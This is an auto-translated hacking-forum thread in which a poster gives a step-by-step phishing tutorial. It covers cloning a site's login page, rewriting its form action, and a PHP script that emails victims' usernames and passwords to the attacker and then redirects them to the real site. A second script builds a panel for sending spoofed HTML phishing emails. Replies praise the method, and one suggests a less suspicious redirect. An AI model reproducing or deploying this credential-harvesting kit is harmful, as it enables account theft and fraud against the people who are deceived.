🌐 This is an automatic translation of a topic from Underc0de, the largest Spanish-speaking hacking and IT community. Read the original (Spanish) and reply →
rollth ·
Good morning/afternoon/evening.<br /><br />I bring you a small tutorial on how to do phishing, I clarify that I have selected a random page.<br /><br />The first thing is to go to the password and click inspect element.<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />We look for the form and add an action="scam.php"<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />We copy the html code into an html file with UFT-8 encoding <br /><br />In the same folder where we have the html file we create a php with the following code (in UFT-8 too):<br /><br />Código: php
<?php<br /><br />$user = trim($_POST['the name of the user input']);<br />$password = trim($_POST['the name of the pass input']);<br /><br />$correoreceptor = "change it here and put your email";<br />$asunto = "A new victim has fallen";<br />$mensaje = "User: ".$user." - Password: ".$password;<br /><br />mail($correoreceptor, $asunto, $mensaje);<br />header('Location: Real page');<br /><br />?>
<br /><br />Now all that's left is to find a free host and upload everything<br /><br />This is how the fake page would look <br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />And it would send all the logs to our email :)<br /><br />EDIT<br /><br />I had several problems which I only warn about and will not explain how to solve.<br /><br />1st css in a file instead of in html, you will have to download it so the page looks exactly the same.<br /><br />2nd script to prevent writing in <input name="password"> in case you are on another web, you will have to delete the script.<br /><br />EDIT<br /><br />I'm going to explain how to make a panel so it sends an email wherever you want (It's often used a lot in phishing)<br /><br />The first thing is the html code which we will call index.html<br /><br />Código: html5
<html><br /><head><br /></head><br /><body><br /><div><br /><h1>Phishing Pagina</h1><br /><p>Email to which you want to send the message:</p><br /><form action="correof.php" method="post"><br /><input name="correof" type="text"><br /><button type="submit">Enviar</button><br /></form><br /></div><br /></body><br /></html>
<br /><br />We create a .php with this code (it will be called correof):<br /><br />Código: php
<?php<br /> <br />$correoreceptor = trim($_POST['correof']);<br />$asunto = "Email subject";<br />$mensaje = 'html code of the body';<br />$cabeceras = 'MIME-Version: 1.0' . "\r\n";<br />$cabeceras .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";<br />$cabeceras .= 'From: Name of the sender <Email of the sender>' . "\r\n";<br /> <br />mail($correoreceptor, $asunto, $mensaje, $cabeceras);<br /><br /><br /><br />?>
<br /><br />You can also follow me on Twitter if you fancy: Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />Regards
Y3K ·
Thanks for the tutorial.<br /><br />Simple but more than one will fall for something like this.
Aryenal.Bt ·
good post, something to start with.
NyxKazuya ·
The code is really awesome :D thanks
baron.power ·
great bro, simple, fast and effective, excellent work, thanks for sharing it, regards
rollth ·
Modified explaining how to make a panel.
GangsteR ·
A video would have been good for the newbies. <br /><br />But anyway excellent 8)
<br /><br />I don't think it will be very useful for people if you don't share the run.bat<br /><br />Another thing is that instead of directing to forbidden 403 you could redirect to the real page so they think it was an error and then enter normally.
Payasako ·
Look, there's going to be a second Facebook hahaha excellent tutorial. ]<br /><br />Sent from my LG-E400 using Tapatalk 2<br /><br />